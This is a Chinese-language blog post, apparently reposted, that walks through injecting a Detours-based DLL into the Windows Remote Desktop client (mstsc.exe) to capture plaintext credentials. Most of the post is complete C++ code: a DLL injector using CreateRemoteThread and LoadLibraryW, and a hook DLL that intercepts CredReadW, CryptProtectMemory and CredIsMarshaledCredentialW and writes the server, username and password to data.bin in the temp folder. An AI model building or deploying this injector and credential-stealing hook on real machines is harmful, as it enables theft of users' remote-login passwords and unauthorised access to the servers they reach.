从远程桌面客户端提取明文凭据

前言

前段时间看到hook mstsc的,自己搞了几天。我也服了我自己….

环境

vs2015  detours库  win7

实验

简单测试(HOOK了MessageBox)

#include <Windows.h>  #include <detours.h> //加载detours库  #pragma comment (lib,"detours.lib")  static int(WINAPI *TrueMessageBox)(HWND, LPCTSTR, LPCTSTR, UINT) = MessageBox; //根据函数原型来定义要被HOOk的函数(MSDN函数怎么写的你就怎么定义)  int WINAPI OurMessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType) { //成功HOOK后的处理函数      return TrueMessageBox(NULL, L"Hooked", lpCaption, 0); //HOOK成功弹个框  }  int main()  {      DetourTransactionBegin(); //HOOK初始化      DetourUpdateThread(GetCurrentThread()); //刷新本身线程      DetourAttach(&(PVOID&)TrueMessageBox, OurMessageBox);  //加载要HOOK的函数      DetourTransactionCommit(); //开始HOOK      MessageBox(NULL, L"Hello", L"Hello", 0);      DetourTransactionBegin(); //HOOK初始化      DetourUpdateThread(GetCurrentThread()); //刷新本身线程      DetourDetach(&(PVOID&)TrueMessageBox, OurMessageBox);  //取消HOOK      DetourTransactionCommit(); //取消HOOK开始  }

如果HOOK成功的话,将如下图

从远程桌面客户端提取明文凭据,第1张

之后编译原作者写好的,之后注入到mstsc
常规的DLL注入

#include "stdafx.h"  #include <Windows.h>    int main(int argc, char *argv[]) {      HANDLE processHandle;      PVOID remoteBuffer;      wchar_t dllPath[] = TEXT("H:\C master\dll\ConsoleApplication1\x64\Release\ConsoleApplication1.dll");        printf("Injecting DLL to PID: %i\n", atoi(argv[1]));      processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));      remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);      WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);      PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");      CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);      CloseHandle(processHandle);        return 0;  }

如果成功注入的话,会出现如下图

从远程桌面客户端提取明文凭据,第2张

然后在temp目录下会有个data.bin,由于我是win7的原因API可能有些不同。记录不到IP

从远程桌面客户端提取明文凭据,第3张

之后看到了三好学生的博客里的操作,使用API Monitor附加了mstsc.exe找到了记录用户名的API 函数

从远程桌面客户端提取明文凭据,第4张

在根据MSDN文档里的CredReadW function定义方法,照搬定义即可
CredReadW function (wincred.h) - Win32 apps | Microsoft Docs

修改之后

// ConsoleApplication1.cpp : 定义 DLL 应用程序的导出函数。  //    #include "stdafx.h"  #include <Windows.h>  #include "detours.h"  #include <dpapi.h>  #include <wincred.h>  #include <strsafe.h>  #include <subauth.h>  #define SECURITY_WIN32   #include <sspi.h>  #pragma comment(lib,"detours.lib")  #pragma comment(lib, "crypt32.lib")  #pragma comment(lib, "Advapi32.lib")  #pragma comment(lib, "Secur32.lib")    LPCWSTR lpTempPassword = NULL;  LPCWSTR lpUsername = NULL;  LPCWSTR lpServer = NULL;    VOID WriteCredentials() {      const DWORD cbBuffer = 1024;      TCHAR TempFolder[MAX_PATH];      GetEnvironmentVariable(L"TEMP", TempFolder, MAX_PATH);      TCHAR Path[MAX_PATH];      StringCbPrintf(Path, MAX_PATH, L"%s\data.bin", TempFolder);      HANDLE hFile = CreateFile(Path, FILE_APPEND_DATA, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);      WCHAR  DataBuffer[cbBuffer];      memset(DataBuffer, 0x00, cbBuffer);      DWORD dwBytesWritten = 0;      StringCbPrintf(DataBuffer, cbBuffer, L"Server: %s\nUsername: %s\nPassword: %s\n\n", lpServer, lpUsername, lpTempPassword);      WriteFile(hFile, DataBuffer, wcslen(DataBuffer) * 2, &dwBytesWritten, NULL);      CloseHandle(hFile);    }    static BOOL(WINAPI *OriginalCredReadW)(LPCWSTR TargetName, DWORD Type, DWORD Flags, PCREDENTIALW *Credential) = CredReadW;  BOOL HookedCredReadW(LPCWSTR TargetName, DWORD Type, DWORD Flags, PCREDENTIALW *Credential)  {      lpServer = TargetName;      return OriginalCredReadW(TargetName, Type, Flags, Credential);  }    static DPAPI_IMP BOOL(WINAPI * OriginalCryptProtectMemory)(LPVOID pDataIn, DWORD  cbDataIn, DWORD  dwFlags) = CryptProtectMemory;    BOOL _CryptProtectMemory(LPVOID pDataIn, DWORD  cbDataIn, DWORD  dwFlags) {        DWORD cbPass = 0;      LPVOID lpPassword;      int *ptr = (int *)pDataIn;      LPVOID lpPasswordAddress = ptr + 0x1;      memcpy_s(&cbPass, 4, pDataIn, 4);        //When the password is empty it only counts the NULL byte.      if (cbPass > 0x2) {          SIZE_T written = 0;          lpPassword = VirtualAlloc(NULL, 1024, MEM_COMMIT, PAGE_READWRITE);          WriteProcessMemory(GetCurrentProcess(), lpPassword, lpPasswordAddress, cbPass, &written);          lpTempPassword = (LPCWSTR)lpPassword;        }        return OriginalCryptProtectMemory(pDataIn, cbDataIn, dwFlags);  }    static BOOL(WINAPI * OriginalCredIsMarshaledCredentialW)(LPCWSTR MarshaledCredential) = CredIsMarshaledCredentialW;    BOOL _CredIsMarshaledCredentialW(LPCWSTR MarshaledCredential) {        lpUsername = MarshaledCredential;      if (wcslen(lpUsername) > 0) {            WriteCredentials();      }      return OriginalCredIsMarshaledCredentialW(MarshaledCredential);  }    BOOL APIENTRY DllMain(HMODULE hModule, DWORD  dwReason, LPVOID lpReserved)  {      if (DetourIsHelperProcess()) {          return TRUE;      }        if (dwReason == DLL_PROCESS_ATTACH) {          DetourRestoreAfterWith();          DetourTransactionBegin();          DetourUpdateThread(GetCurrentThread());          DetourAttach(&(PVOID&)OriginalCryptProtectMemory, _CryptProtectMemory);          DetourAttach(&(PVOID&)OriginalCredIsMarshaledCredentialW, _CredIsMarshaledCredentialW);          DetourAttach(&(PVOID&)OriginalCredReadW, HookedCredReadW);            DetourTransactionCommit();      }      else if (dwReason == DLL_PROCESS_DETACH) {          DetourTransactionBegin();          DetourUpdateThread(GetCurrentThread());          DetourDetach(&(PVOID&)OriginalCryptProtectMemory, _CryptProtectMemory);          DetourDetach(&(PVOID&)OriginalCredIsMarshaledCredentialW, _CredIsMarshaledCredentialW);          DetourDetach(&(PVOID&)OriginalCredReadW, HookedCredReadW);          DetourTransactionCommit();        }      return TRUE;

测试可以正常记录IP

从远程桌面客户端提取明文凭据,第5张

这里一开始自己定义CredReadW的时候踩了个坑…return没有返回定义的函数。返回了API原型的函数,结果记录的IP一直是乱码。坑了好久,直到搜到了三好学生的博客- -
(一开始写的)

从远程桌面客户端提取明文凭据,第6张

一定要返回定义的函数,不然问题多多….
这里应该返回CreadReadWs才对

参考链接

渗透技巧——从远程桌面客户端提取明文凭据
CredReadW function (wincred.h) - Win32 apps | Microsoft Docs


文章转自:http://422926799.github.io/posts/1e08ed31.html

转载请说明出处 内容投诉
九牛网 » 从远程桌面客户端提取明文凭据

发表评论

欢迎 访客 发表评论

定制开发服务!

技术支持 联系我们